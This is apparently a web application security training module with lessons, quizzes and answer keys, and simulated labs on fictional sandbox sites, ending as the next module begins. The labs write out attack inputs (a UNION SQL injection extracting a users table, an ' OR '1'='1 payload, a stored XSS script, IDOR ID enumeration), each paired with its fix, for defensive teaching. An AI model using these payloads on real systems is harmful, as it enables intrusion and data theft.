Account enumeration: Discovering valid usernames through differing responses.

Rate limiting: Restricting how many attempts are allowed in a period.

REMEMBER

- Rate limit, add MFA and check breached passwords.
- Regenerate session IDs; invalidate on logout.
- Treat password reset as part of authentication.

QUICK CHECK

1. Which defense stops session fixation?
 - A) Issue a new session ID at login
 - B) Longer cookies
 - C) Use GET
 - D) Reject MFA
2. What distinguishes password spraying from brute force?
 - A) It tries few passwords across many accounts
 - B) It targets one account with many guesses
 - C) It uses SQL
 - D) It needs physical access
3. Why use one generic login error message?
 - A) It shortens pages
 - B) It prevents account enumeration
 - C) It hides cookies
 - D) It speeds logins
4. A good reset token is:
 - A) Sequential
 - B) Random, single use and short lived
 - C) The user's email
 - D) Sent in the URL forever

Answers: 1-A 2-A 3-B 4-B

1. A fresh ID makes the planted one useless.
2. Spraying avoids per-account lockouts.
3. Different messages reveal which usernames exist.
4. Predictable or reusable tokens allow takeover.

Broken access control and IDOR

Authorization failures are the most common serious web flaw. Authentication proves identity, but the server must still check every action.

What broken access control means

Broken access control means users can act outside their intended permissions: viewing others' records, editing data, or reaching admin functions. Typical forms are vertical privilege escalation, where a normal user reaches admin features, and horizontal escalation, where a user reaches another user's data. Causes include trusting hidden fields, relying on obscure URLs, enforcing checks only in the user interface, and forgetting checks on some endpoints. Because the interface hides a button, the underlying request is still available to anyone who sends it directly. Access control must be enforced on the server for every request, using a deny by default policy.

Insecure direct object references

An insecure direct object reference (IDOR) occurs when an application uses a client-supplied identifier, such as `/api/orders/1042`, to fetch an object without verifying that the current user owns it. A tester logs in as one user, changes 1042 to 1043, and if the order belonging to another user is returned, the flaw is confirmed. Numeric sequential IDs make guessing trivial, but unpredictable IDs do not fix the problem; they only make discovery harder. The same flaw appears in file downloads, profile endpoints, invoice PDFs and the JSON bodies of update calls, including mass assignment, where extra fields such as `role=admin` are accepted.

Function-level checks and the fix

Missing function-level access control exposes administrative endpoints, such as `/admin/export`, to any authenticated user or even anonymous clients. The remedy is a central authorization layer: every request passes through the same policy check, which verifies the user's role and ownership of the target object. For example, query orders with both the order ID and the user ID taken from the server-side session, not from the request. Return 403 or 404 consistently. Do not trust roles or IDs sent in tokens or hidden fields without checking server-side data. Log denied attempts and alert on repeated enumeration patterns, since many sequential ID requests suggest probing.

Testing for access control flaws

Build a test matrix of roles and endpoints. Using two normal accounts and one admin, try each action as each role and confirm that unauthorized combinations are denied. Replay requests with another user's session cookie, change identifiers, switch HTTP methods, and call back-end APIs directly. Automated scanners find few of these issues because they require understanding of business rules, so write explicit tests in the application's test suite. Prefer indirect references or UUIDs as an additional layer, and apply rate limits to make enumeration slower. Review file and storage permissions as well, since cloud buckets and download links can bypass application checks entirely.

REQUEST AND OWNERSHIP CHECK (FICTIONAL)

```
GET /api/orders/1043 HTTP/1.1
Cookie: sid=<ana.test session>
-> 200 OK {"id":1043,"owner":"ben.test",...} (flaw)

fixed: SELECT * FROM orders WHERE id=? AND owner_id=? (session user)
-> 404 Not Found
```

WORKED EXAMPLE

While logged in as `ana.test`, a tester changes the order number in the URL from 1042 to 1043 and receives `ben.test`'s order. This is horizontal IDOR. The developers modify the query to include the owner from the server-side session and add an authorization test that requests another user's order and expects 404. They also search the code for other endpoints that look up objects by ID alone and fix three more.

KEY TERMS

IDOR: Accessing an object by changing an identifier because the server does not check ownership.

Horizontal escalation: Accessing another user's data at the same privilege level.

Vertical escalation: Gaining higher privileges, such as admin functions.

Mass assignment: Binding request fields to internal object properties without restriction.

Deny by default: Refusing access unless a rule explicitly allows it.

REMEMBER

- Check ownership and role server-side on every request.
- Use a central authorization layer and deny by default.
- Test each role against each endpoint.

QUICK CHECK

1. Which flaw is shown when changing /orders/1042 to /orders/1043 returns another user's order?

- A) XSS
- B) IDOR
- C) CSRF
- D) SQLi

2. Where must authorization be enforced?

- A) Only in the UI
- B) On the server for every request
- C) In the browser
- D) Only at login

3. Do random UUIDs alone fix IDOR?

- A) Yes, fully
- B) No, they only hide identifiers; checks are still needed
- C) Yes if HTTPS
- D) Only for admins

4. What is vertical privilege escalation?

- A) Accessing a peer's data
- B) A normal user reaching admin functions
- C) Using a VPN
- D) Session timeout

Answers: 1-B 2-B 3-B 4-B

1. The ID is used without an ownership check.
2. Hidden buttons do not stop direct requests.
3. Unguessable IDs can still leak or be shared.
4. It crosses to a higher privilege level.

CSRF and SSRF

Some attacks abuse trust: CSRF abuses the browser's trust in your session, and SSRF abuses the server's trust within its network.

How CSRF works

Cross-site request forgery (CSRF) tricks a logged-in user's browser into sending a state-changing request to a site where the user is authenticated. Because browsers automatically attach cookies to requests for that site, the server cannot tell the forged request from a real one. For example, a page on a malicious site might auto-submit a hidden form that posts to `bank.example.com/transfer`. The attacker cannot read the response, but can change email addresses, passwords or transfer funds. CSRF affects actions that rely only on cookies for authentication and that are triggered by predictable requests, whether GET or POST.

CSRF defenses

The main defense is the synchronizer token pattern: the server includes a random, per-session or per-request CSRF token in each form, and rejects state-changing requests that lack the correct token. A cross-origin attacker cannot read the token because of the same-origin policy. The SameSite cookie attribute, with Lax or Strict, stops browsers from sending the cookie on most cross-site requests, and is now the default in many browsers, but it should be used alongside tokens. Additional checks include verifying the Origin or Referer header, requiring custom headers for APIs, and re-authenticating for sensitive actions. Never use GET for changes.

Server-side request forgery

Server-side request forgery (SSRF) occurs when an application fetches a URL supplied by a user, for instance an image import or webhook, and the attacker points it to an internal resource the server can reach, such as an admin console at `10.0.0.5` or a cloud metadata service at `169.254.169.254`, which may reveal credentials. The attacker uses the server's position as a proxy. It ranks in the OWASP Top 10 as A10 because cloud environments make internal endpoints valuable. Impact includes internal port scanning, reading metadata, and reaching services that trust the network.

SSRF defenses

Prefer an allowlist of permitted destination hosts and schemes, and block requests to private, loopback and link-local ranges after DNS resolution, to defeat tricks where a name resolves to an internal address. Do not follow redirects blindly, and disable unneeded URL schemes such as `file://` and `gopher://`. Segment the network so the application server cannot reach sensitive systems, and require cloud metadata protections such as IMDSv2 on AWS, which needs a session token header. Do not return raw responses to the user. Log outbound requests and alert on connections to metadata addresses or internal ranges, which are rarely legitimate for such features.

FORGED FORM VERSUS TOKENIZED FORM (FICTIONAL)

```
<!-- attacker page -->
<form action="https://bank.example.com/transfer" method="POST"> ... </form>

<!-- legitimate page with token -->
<input type="hidden" name="csrf" value="c9f1a7e2...">
Set-Cookie: sid=...; Secure; HttpOnly; SameSite=Lax
```

WORKED EXAMPLE

A profile page at `app.example.com` lets users change an email address with a POST that relies only on the session cookie. A tester shows that a hidden form on another origin can change it. The team adds a per-session CSRF token checked on every POST, sets `SameSite=Lax` on the session cookie, and verifies the Origin header. The same app has an 'import avatar by URL' feature, which they restrict to an allowlist of image hosts and block metadata ranges.

KEY TERMS

CSRF: Forcing a logged-in user's browser to submit an unwanted request.

CSRF token: An unpredictable value that must accompany state-changing requests.

SameSite: A cookie attribute that limits sending cookies on cross-site requests.

SSRF: Making a server send requests to unintended destinations.

Cloud metadata service: A link-local service at 169.254.169.254 giving instances their configuration and credentials.

REMEMBER

- CSRF abuses automatic cookies; use tokens and SameSite.
- SSRF abuses the server's network position.
- Allowlist destinations, block internal ranges, protect metadata.

QUICK CHECK

1. Why can the attacker in CSRF not simply read the token?
 - A) It is encrypted by TLS
 - B) The same-origin policy blocks reading other origins
 - C) Tokens are public
 - D) Cookies hide it
2. Which cookie setting reduces CSRF risk?
 - A) SameSite=Lax or Strict
 - B) Path=/ - C) Expires=Never
 - D) Domain=*
3. What target is typical in SSRF against cloud servers?
 - A) 169.254.169.254
 - B) 8.8.8.8
 - C) 127.0.0.2 only
 - D) example.org
4. Best SSRF defense for a URL fetch feature?
 - A) Blocklist the word localhost
 - B) Allowlist destinations and block internal ranges after DNS resolution
 - C) Trust user URLs
 - D) Return raw responses

Answers: 1-B 2-A 3-A 4-B

1. Cross-origin pages cannot read the victim's responses.
2. Cookies are not sent on most cross-site requests.
3. The metadata endpoint may expose credentials.
4. Allowlisting plus resolution checks defeats many tricks.

Misconfiguration and vulnerable components

Many breaches need no clever exploit. Default passwords, open admin pages and old libraries are found by automated scanning within hours of exposure.

Common misconfigurations

Security misconfiguration includes default credentials, unnecessary services and sample applications, directory listing that exposes files, debug mode left on, verbose error pages showing stack traces and paths, overly permissive cloud storage buckets, missing security headers, and unpatched servers. Attackers use search engines and scanners to find them at scale. Typical sensitive leftovers are backup files such as `config.php.bak`, `.git` folders, and admin consoles reachable from the internet. Prevent them with a repeatable hardened build, automated configuration checks against baselines like CIS Benchmarks, removal of defaults, and different credentials and settings per environment, with secrets stored in a vault and not in code.

Vulnerable and outdated components

Applications depend on frameworks, libraries and containers, and a vulnerability in any of them becomes your vulnerability. Public flaws are tracked as CVE identifiers and rated with CVSS scores; the Log4Shell (CVE-2021-44228) incident showed how one logging library could affect thousands of products. Software composition analysis (SCA) tools scan dependency manifests and images, match versions against vulnerability databases such as the NVD and OSV, and report which are affected. Remove unused dependencies, pin versions, and use only maintained packages. Be aware of supply chain risks such as typosquatted package names and compromised maintainers.

SBOM and lifecycle

A software bill of materials (SBOM) is a machine-readable inventory of components in a product, in formats such as SPDX or CycloneDX. When a new vulnerability is announced, an SBOM lets you answer quickly: which of our applications include this library, and which version? Generate SBOMs during the build, store them with each release, and feed them to vulnerability monitoring. Establish a policy for patch timelines by severity, and track end-of-life frameworks that no longer receive fixes. Automated dependency update tools open pull requests for new versions, and continuous integration tests confirm that updates do not break behavior.

Finding issues in practice

Run authenticated and unauthenticated scans with tools such as OWASP ZAP, Nikto or a commercial scanner, and compare findings with a baseline. Check what is exposed: request paths like `/admin/`, `/.git/` and `/backup/`, try documented default credentials only on systems you own or are authorized to test, and review error pages for leaked details. Review cloud permissions with configuration scanners. Fix by removing or restricting rather than hiding. Set custom error pages, turn off directory listing, and keep a short, documented list of every exposed service. Schedule recurring checks, as configuration drifts over time and new components are added with each release.

SCA REPORT EXCERPT (FICTIONAL)

```
package installed fixed-in severity id
log4j-core 2.14.1 2.17.1 CRITICAL CVE-2021-44228
express 4.16.0 4.19.2 MEDIUM (advisory)
lodash 4.17.15 4.17.21 HIGH (advisory)
summary: 3 vulnerable of 212 dependencies
```

WORKED EXAMPLE

The nightly SCA scan for `shop.example.com` flags `log4j-core 2.14.1` as critical. The SBOM shows two services include it. The team upgrades to `2.17.1`, redeploys, and then verifies with the scanner. During the same review a tester finds directory listing enabled on `/uploads/` and a default admin password on a staging console. All three issues are fixed, and a hardened baseline plus a CI check prevent them from returning.

KEY TERMS

Misconfiguration: An insecure setting, default or unnecessary feature that exposes a system.

CVE: A public identifier for a specific vulnerability.

SCA: Software composition analysis, scanning dependencies for known vulnerabilities.

SBOM: A formal inventory of the components in a software product.

Typosquatting: Publishing a package with a name similar to a popular one.

REMEMBER

- Use hardened baselines, remove defaults, hide verbose errors.
- Scan dependencies with SCA and keep them updated.
- Use an SBOM so you can respond fast to new CVEs.

QUICK CHECK

1. What does an SBOM help you answer quickly?
 - A) Which systems include a vulnerable component
 - B) Who wrote the code
 - C) How fast the site is
 - D) Which users are online
2. Which is a security misconfiguration?
 - A) Directory listing enabled on an uploads folder
 - B) HTTPS enabled
 - C) Parameterized queries
 - D) Strong passwords
3. What does CVE-2021-44228 refer to?
 - A) Log4Shell
 - B) Heartbleed
 - C) EternalBlue
 - D) Shellshock
4. Best response to default credentials on a console?
 - A) Ignore if internal
 - B) Change or remove them and restrict access
 - C) Hide the URL
 - D) Rename the server

Answers: 1-A 2-A 3-A 4-B

1. It lists components and versions.
2. It exposes files unintentionally.
3. It is the Log4j remote code execution flaw.
4. Defaults are the first thing attackers try.

Secure headers, cookies and testing

Headers and cookie flags are cheap, high-leverage controls. Proxies like Burp and ZAP let you see and test everything the browser sends.

Security headers

Browsers enforce policies that servers declare in response headers. Strict-Transport-Security (HSTS), for example `max-age=31536000`; `includeSubDomains`, forces HTTPS. Content-Security-Policy restricts where scripts and other content may load from. X-Content-Type-Options: `nosniff` stops the browser guessing a different content type, which prevents some script execution tricks. X-Frame-Options: `DENY` or `CSP frame-ancestors` prevents clickjacking by blocking framing. Referrer-Policy limits URL leakage, and Permissions-Policy turns off unneeded browser features such as camera. Cache-Control: `no-store` keeps sensitive pages out of caches. Remove headers that reveal version numbers, such as `Server` and `X-Powered-By`.

Cookie flags

Session cookies should carry the attributes `Secure`, `HttpOnly` and `SameSite`. `Secure` sends the cookie only over HTTPS. `HttpOnly` prevents JavaScript from reading it, which blunts XSS theft. `SameSite=Lax` or `Strict` controls cross-site sending, reducing CSRF. Use a narrow `Path` and `Domain`, set sensible `Max-Age`, and consider the `__Host-` prefix, which requires `Secure`, `Path=/` and no `Domain` attribute, preventing subdomain overwrite. Do not store sensitive data in cookies unencrypted. An example: `Set-Cookie: __Host-sid=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=1800`. Review every cookie your application sets, including those from third-party scripts.

Input handling principles

Treat all input as untrusted. Validate on the server for type, length, range and format, preferring allowlists, and encode on output based on context. Reject rather than silently fix suspicious input where practical, canonicalize before validating to avoid double-encoding tricks, and limit file upload types, sizes and storage locations, serving uploads from a separate domain with non-executable permissions. Client-side validation helps users but gives no security. Combine validation with safe APIs: parameterized queries, template engines with auto-escaping and library functions that avoid the shell. Use a framework's built-in protections rather than writing your own, and keep them enabled.

Testing with Burp Suite and ZAP

Burp Suite and OWASP ZAP act as intercepting proxies. Configure the browser to send traffic through the proxy, install the proxy's CA certificate for HTTPS, then browse the application. The proxy records history; you can intercept a request, edit parameters, and forward it, repeat a request many times with the Repeater, and run automated scans or fuzzing with Intruder or ZAP's active scan. ZAP is free and open source, and Burp has a free Community edition. Test only systems you own or have written permission to test, and prefer staging environments. Document each finding with request, response, impact and a fix, and retest after remediation.

SECURE RESPONSE HEADERS (FICTIONAL)

```
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src 'self'; object-src 'none'
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: __Host-sid=abc; Secure; HttpOnly; SameSite=Lax; Path=/
```

WORKED EXAMPLE

A ZAP baseline scan against `staging.example.com` reports a missing CSP, missing HSTS, a session cookie without `HttpOnly` and a `Server` header revealing the exact web server version. The administrator adds the headers in the reverse proxy configuration, marks the cookie flags in the application framework and removes the version string. A rescan shows no header warnings, and the browser's developer tools confirm the policy is applied on the live pages.

KEY TERMS

HSTS: A header requiring browsers to use HTTPS for a site.

nosniff: A header telling browsers to trust the declared content type.

Clickjacking: Tricking users into clicking hidden framed content.

___**Host- prefix:** A cookie name prefix enforcing Secure, Path=/ and no Domain.

Intercepting proxy: A tool that sits between browser and server to inspect and modify traffic.

REMEMBER

- Set HSTS, CSP, nosniff and frame protection headers.
- Use Secure, HttpOnly and SameSite cookie flags.
- Test with proxies on authorized systems and retest fixes.

QUICK CHECK

1. Which header prevents clickjacking by blocking framing?
 - A) X-Frame-Options or frame-ancestors
 - B) HSTS
 - C) Referrer-Policy
 - D) ETag
2. What does the Secure cookie flag do?
 - A) Hides it from JavaScript
 - B) Sends it only over HTTPS
 - C) Blocks cross-site sending
 - D) Encrypts it
3. Where must input validation be enforced for security?
 - A) Only in the browser
 - B) On the server
 - C) Only in CSS
 - D) Nowhere
4. What must you have before testing a web application with Burp or ZAP?
 - A) Permission to test it
 - B) A fast laptop
 - C) A VPN
 - D) A new browser

Answers: 1-A 2-B 3-B 4-A

1. They control whether the page may be embedded.
2. Secure prevents cleartext transmission.
3. Client checks are easily bypassed.
4. Unauthorized testing may be illegal.

Intercept and modify a request

SCENARIO

You are testing a fictional training shop at `shop.example.test` inside the sandbox. The proxy is already in front of the browser. Your account is `student01`. The login form posts credentials, and you want to learn how the server reacts when a request parameter such as a hidden field or role value is changed. Only the sandbox application may be used.

OBJECTIVE

Capture a login request, change a parameter and explain what the response reveals.

STEPS IN THE SIMULATOR

- 1 **Do:** Turn on interception and submit the login form with user `student01`.

Simulator shows:

Intercepted: POST /login HTTP/1.1 Host: shop.example.test

- 2 **Do:** Read the request body.

Simulator shows:

`user=student01&pass=training1&redirect=/home&role=user`

- 3 **Do:** Forward unchanged and view the response.

Simulator shows:

302 Found. Location: /home. Set-Cookie: sid=sbx-4471; HttpOnly

- 4 **Do:** Resend with `role=admin` in the Repeater.

Simulator shows:

302 Found. Location: /home. Welcome student01 (role: user) - role ignored.

- 5 **Do:** Resend with a wrong password and note the message.

Simulator shows:

200 OK. 'Invalid username or password.'

- 6 **Do:** Resend with an unknown username.

Simulator shows:

200 OK. 'Invalid username or password.' (same message and size)

- 7 **Do:** Open the notes panel and record findings.

Simulator shows:

Saved: server ignores client-supplied role; error messages uniform.

ANSWER

The server ignored the modified role parameter and returned the same generic error for both a wrong password and an unknown username, so it does not trust the client role and does not enumerate users. The session cookie has `HttpOnly`. The exercise shows every parameter can be edited and must be validated server-side.

Hint shown in the app: Compare both the status code and the body length when you change a parameter.

Exploit SQL injection safely

SCENARIO

In the sandbox, the fictional app at lab-shop.example.test has a product search at /search?q=. Developers suspect it builds SQL by concatenation. You may test only this sandbox. The database holds a products table with three columns and a users table with id, username and password_hash. All data is fake. Record what each response tells you, including error text, status code and page size, because those clues drive the next test and explain the flaw to developers afterward.

OBJECTIVE

Confirm injection with a quote, enumerate columns, extract the fake user table, then name the root cause.

STEPS IN THE SIMULATOR

- 1 **Do:** Search for the term lamp.

Simulator shows:
200 OK. 3 products shown.

- 2 **Do:** Search for lamp' (single quote).

Simulator shows:
500 Internal Server Error. 'You have an error in your SQL syntax near ''''.' Verbose error visible.

- 3 **Do:** Search for lamp' ORDER BY 3-- and then ORDER BY 4--.

Simulator shows:
ORDER BY 3: 200 OK. ORDER BY 4: error 'Unknown column 4'. Query returns 3 columns.

- 4 **Do:** Search for x' UNION SELECT 1,username,password_hash FROM users--.

Simulator shows:
200 OK. Rows shown: admin_demo | 5f4d..., student01 | 8c6b...

- 5 **Do:** Record that the table contents were returned in the product list.

Simulator shows:
Finding saved: UNION injection, data disclosure of 2 fake rows.

- 6 **Do:** Open the code view for the search handler.

Simulator shows:
query = "SELECT id,name,price FROM products WHERE name LIKE '%" + q + "%'"

- 7 **Do:** Choose the root cause from the list.

Simulator shows:
Correct: unsanitized input concatenated into SQL.

ANSWER

The search term is concatenated into the SQL string, so a quote breaks the query and a UNION adds rows from another table. The root cause is string concatenation with untrusted input, made worse by verbose errors and unrestricted database privileges. The fix is parameterized queries.

Hint shown in the app: A UNION needs the same number of columns as the original query; find that number first.

Fix an injectable query

SCENARIO

The sandbox code editor shows a fictional Python function `find_user(name)` that builds a `SELECT` statement by adding the name into a string. A unit test runs the payload `' OR '1'='1` and expects zero rows, plus a normal test for the name `ana` expecting one row. Your job is to fix the function. The test harness is strict: it only passes if the injection payload is treated as plain data, so partial fixes such as removing quotes will not satisfy it, and a second check inspects your code for leftover concatenation.

OBJECTIVE

Replace concatenation with a parameterized query and make both tests pass.

STEPS IN THE SIMULATOR

- 1 **Do:** Open `db.py` and read `find_user`.

Simulator shows:

```
def find_user(name): q = "SELECT id FROM users WHERE name='" + name + "'"; return cur.execute(q).fetchall()
```

- 2 **Do:** Run the test suite before changes.

Simulator shows:

test_normal: PASS. test_injection: FAIL (returned 5 rows, expected 0).

- 3 **Do:** Replace the string with a placeholder: `SELECT id FROM users WHERE name = ?`

Simulator shows:

Edit saved. Syntax check: ok.

- 4 **Do:** Pass the value as a bound parameter: `cur.execute(q, (name,))`.

Simulator shows:

Edit saved. Linter: no string concatenation in SQL.

- 5 **Do:** Run the test suite again.

Simulator shows:

test_normal: PASS. test_injection: PASS (0 rows).

- 6 **Do:** Add allowlist validation for the sort column argument.

Simulator shows:

ALLOWED = {'name', 'created'}; invalid value raises ValueError. Test added: PASS.

- 7 **Do:** Run the security linter.

Simulator shows:

0 findings. Build: green.

ANSWER

The fixed function uses `SELECT id FROM users WHERE name = ?` with `cur.execute(q, (name,))`, so the quote payload is treated as a literal name and returns no rows. The sort column is checked against an allowlist because placeholders cannot bind identifiers. Both tests and the linter pass.

Hint shown in the app: Values go in the parameter tuple; only fixed text stays in the SQL string.

Find stored XSS

SCENARIO

The sandbox blog at `blog.example.test` has a comment box. Comments are saved and shown to every visitor, and all content is fake. Another sandbox user, `visitor02`, will view the page afterward. You will test with a harmless alert payload, confirm persistence, inspect headers, and then apply the correct fix in the template and policy. Remember to look at both the stored page source and the response headers, since the lab grades the final result on encoding and on the browser-side protections you add.

OBJECTIVE

Prove stored XSS safely, then remediate with output encoding and CSP.

STEPS IN THE SIMULATOR

- 1 **Do:** Post the comment: `hello`.

Simulator shows:

Comment added. Page source: `<li>hello</li>`

- 2 **Do:** Post a comment containing `<script>alert('x1')</script>`.

Simulator shows:

Comment added. Page source: `<li><script>alert('x1')</script></li>`

- 3 **Do:** Reload as `visitor02` in another sandbox browser.

Simulator shows:

Popup 'x1' appears for `visitor02`. Persistence confirmed: stored XSS.

- 4 **Do:** Open response headers for the page.

Simulator shows:

No Content-Security-Policy. Set-Cookie: `sid=sbx-77 (no HttpOnly)`.

- 5 **Do:** Edit the template to output `{{ comment | escape }}`.

Simulator shows:

Saved. Template check: ok.

- 6 **Do:** Reload the page after resubmitting the payload.

Simulator shows:

Page source: `<li><script>alert('x1')</script></li>`. Text shown, no popup.

- 7 **Do:** Add header Content-Security-Policy: `default-src 'self'; script-src 'self'` and HttpOnly on the cookie.

Simulator shows:

Applied. Console: no inline script permitted. Scanner: 0 XSS findings.

ANSWER

Comments were stored and rendered unencoded, so the script ran for every visitor: stored XSS. The fix is HTML output encoding in the template, backed by a CSP blocking inline scripts and an HttpOnly session cookie. After the fix the payload shows as plain text.

Hint shown in the app: Check the page source, not just the visible page, to see how your input was written.

Enumerate IDOR

SCENARIO

In a sandbox, the fictional API at `api.lab.example.test` serves orders at `/v1/orders/{id}`. You are logged in as `student01`, whose orders are 2001 and 2002. Other sandbox users own other IDs. All data is fake. You will test whether the API checks ownership, record the evidence and then add the missing check in the sandbox code. Pay attention to how the identifiers are numbered and to which owner appears in each response, then fix the cause in the server code rather than hiding the numbers from the user.

OBJECTIVE

Read another user's order by changing the ID, then add an ownership check and verify.

STEPS IN THE SIMULATOR

- 1 **Do:** Request GET `/v1/orders/2001` as `student01`.

Simulator shows:

```
200 OK {"id":2001,"owner":"student01","total":42.00}
```

- 2 **Do:** Send GET `/v1/orders/2003` in the Repeater with the same cookie.

Simulator shows:

```
200 OK {"id":2003,"owner":"student02","total":118.50} <- another user's data
```

- 3 **Do:** Try 2004 and 2005.

Simulator shows:

Both return 200 with other owners. Sequential IDs enumerable.

- 4 **Do:** Record the finding with the request and response.

Simulator shows:

Finding saved: IDOR (OWASP A01), horizontal escalation.

- 5 **Do:** Open the handler and read the query.

Simulator shows:

```
SELECT * FROM orders WHERE id = ? (no owner condition)
```

- 6 **Do:** Change it to `WHERE id = ? AND owner_id = ?` using the session user.

Simulator shows:

Edit saved. Unit test added.

- 7 **Do:** Replay IDs 2003 to 2005 as `student01`.

Simulator shows:

```
404 Not Found for each. 2001 and 2002 still return 200.
```

ANSWER

The API returned orders for any ID without checking the owner, so `student01` read `student02`'s data: a horizontal IDOR. The fix adds the authenticated user's ID from the session to the query, so other users' orders return 404 while the user's own orders still work.

Hint shown in the app: Change one digit at a time and watch the owner field in the response.

Harden headers and cookies

SCENARIO

A fictional nginx configuration at `/etc/nginx/sites/app.example.test` serves a web application. A scan reports missing HSTS, CSP, nosniff and frame protection, a session cookie without Secure or HttpOnly, and a version leak in the Server header. Edit the configuration and re-run the scan inside the sandbox. The configuration reload is validated before the scan runs, so a syntax error will be reported first. Check that headers also appear on error responses and that no header leaks software version details.

OBJECTIVE

Add the missing headers and cookie flags and clear the scan findings.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the config file and scan it.

Simulator shows:

Scan: 6 findings (HSTS, CSP, nosniff, framing, cookie flags, server_tokens).

- 2 **Do:** Add `server_tokens off;`

Simulator shows:

Saved. Finding 'version disclosure' cleared on test.

- 3 **Do:** Add `add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;`

Simulator shows:

Saved. HSTS present.

- 4 **Do:** Add `add_header Content-Security-Policy "default-src 'self'; object-src 'none'" always;`

Simulator shows:

Saved. CSP present. Preview page loads without violations.

- 5 **Do:** Add `X-Content-Type-Options nosniff` and `X-Frame-Options DENY`.

Simulator shows:

Saved. Both present.

- 6 **Do:** Set `proxy_cookie_flags ~ Secure HttpOnly SameSite=Lax;`

Simulator shows:

Saved. Cookie sid now Secure; HttpOnly; SameSite=Lax.

- 7 **Do:** Reload nginx and re-scan.

Simulator shows:

nginx -t: ok. Scan: 0 header findings, 0 cookie findings.

ANSWER

The final config sets `server_tokens off`, HSTS, a restrictive CSP, nosniff, X-Frame-Options DENY, and Secure, HttpOnly, SameSite=Lax on the session cookie. After reloading, the scan shows no missing header or cookie findings. Retesting also confirms the page still loads normally, so protections did not break functionality.

Hint shown in the app: Use the `always` parameter so headers are sent on error pages too.

Web Application Security: 10 questions, 80% to pass

1. Which status code means the request was understood but access is forbidden?

- A) 200
- B) 301
- C) 403
- D) 503

2. Which category is first in the 2021 OWASP Top 10?

- A) Injection
- B) Broken Access Control
- C) SSRF
- D) Security Logging

3. What stops SQL injection at the root?

- A) Parameterized queries
- B) Client-side filters
- C) Hiding errors only
- D) Longer URLs

4. Which XSS variety is delivered from a saved comment to many visitors?

- A) Reflected
- B) Stored
- C) DOM
- D) Self

5. What is the best control for XSS output?

- A) Context-aware encoding
- B) Blocking the word alert
- C) Using HTTP
- D) Disabling cookies

6. What is IDOR?

- A) Using an ID without checking ownership
- B) A SQL function
- C) A TLS version
- D) A header

7. Which pair of controls best defends against CSRF?

- A) CSRF tokens and SameSite cookies
- B) Longer passwords and WAF
- C) HSTS and nosniff
- D) SBOM and SCA

8. What is a target of SSRF on cloud hosts?

- A) The metadata service at 169.254.169.254
- B) The user's keyboard
- C) A DNS root
- D) A browser cache

9. Which header forces HTTPS in browsers?

- A) Strict-Transport-Security
- B) X-Frame-Options
- C) Referrer-Policy
- D) Server

10. Which cookie flag stops scripts reading the cookie?

- A) HttpOnly
- B) Secure
- C) Path
- D) Max-Age

Answers: 1-C 2-B 3-A 4-B 5-A 6-A 7-A 8-A 9-A 10-A

1. 403 Forbidden denies access.
2. A01:2021.
3. Data is bound separately from SQL code.
4. Stored payloads persist on the server.
5. Encoding prevents interpretation as code.
6. Authorization is missing for the referenced object.
7. Tokens plus SameSite stop forged cross-site requests.
8. It can expose instance credentials.
9. HSTS.
10. HttpOnly blocks JavaScript access.

Endpoint and OS Security

Beginner | 5 lessons | 4 simulated labs | checkpoint | about 3h 45m

Prevention starts on the individual machine. This module covers the habits that make a laptop, server or phone hard to compromise and quick to recover: hardening to a baseline, keeping software patched, using antivirus, EDR and allowlisting to catch or block malicious code, encrypting disks and managing mobile devices, and keeping backups that survive ransomware. Each topic is a layer. None is perfect alone, but together they reduce the number of successful attacks and limit the damage when one gets through.

BY THE END YOU CAN

- + Apply a hardening baseline to a system
- + Explain how AV, EDR and allowlisting detect and block threats
- + Design a backup and encryption plan

IN THIS MODULE

Lesson 1 System hardening basics

Lesson 2 Patch management

Lesson 3 Antivirus, EDR and application allowlisting

Lesson 4 Disk encryption and mobile device security

Lesson 5 Backups and recovery

Lab 1 Harden a Linux server (Terminal)

Lab 2 Audit a Windows baseline (Config editor)

Lab 3 Triage an EDR detection (Mock SIEM)

Lab 4 Plan backups for ransomware (Scenario)

Checkpoint 10 questions, 80% to pass

System hardening basics

A default installation is built for convenience, so every unused service and loose permission is extra attack surface that hardening removes.

What hardening means

Hardening is the process of reducing a system's attack surface by removing or disabling what is not needed and tightening what remains. A fresh operating system ships with many services, accounts and features enabled so that it works for the widest audience. Each running service is code that may contain a flaw, and each open port is a way in. The guiding ideas are simple: install the minimum, run services with the least privilege they need, change insecure defaults, and keep the result documented so it can be repeated. Hardening is done before a system goes into production and re-checked afterwards, because configurations drift as people make changes.

Baselines and CIS Benchmarks

You do not have to invent a hardening list from scratch. The Center for Internet Security publishes CIS Benchmarks, consensus-built configuration guides for operating systems such as Windows, Ubuntu and Red Hat, and for browsers, cloud platforms and databases. Many benchmarks have two profiles: Level 1 gives practical settings with little impact on usability, while Level 2 adds stricter settings for high-security environments. Other sources include DISA STIGs and vendor guides. A baseline is the approved configuration for a type of system. Tools such as OpenSCAP, Lynis and Microsoft security baselines can scan a host and report which recommendations pass or fail.

Common hardening steps

Typical actions include disabling unused services (for example telnet, FTP or the legacy SMBv1 protocol), closing ports with a host firewall, removing default accounts and passwords, and enforcing strong password and lockout policy. On SSH, disable password login and root login and use keys. Apply least privilege: users work as standard accounts and use sudo or administrative elevation only for specific tasks, and file permissions are as tight as the job allows. Turn on logging and time synchronization so events can be investigated later. Enable automatic security updates where appropriate, and remove software nobody uses, since uninstalled code cannot be exploited.

Keeping the baseline true

Hardening is not a one-time job. Configuration drift happens when administrators make quick changes, and new patches or applications may re-enable features. Use configuration management tools such as Ansible, Group Policy or Intune to push the baseline and correct deviations automatically. Build hardened golden images so new servers start secure. Record approved exceptions, with the reason and an owner, so a deliberately relaxed setting is not mistaken for a mistake. Re-scan on a schedule and after major changes, and track the pass rate over time. Always test a baseline in a lab first, since an overly strict setting can break an application and tempt people to abandon the whole policy.

QUICK LINUX CHECKS (EXAMPLE HOST)

```
systemctl list-unit-files --state=enabled
ss -tlnp
sudo systemctl disable --now telnet.socket
chmod 640 /etc/shadow
grep -E '^(PermitRootLogin|PasswordAuthentication)' /etc/ssh/sshd_config
# desired:
# PermitRootLogin no
# PasswordAuthentication no
```

WORKED EXAMPLE

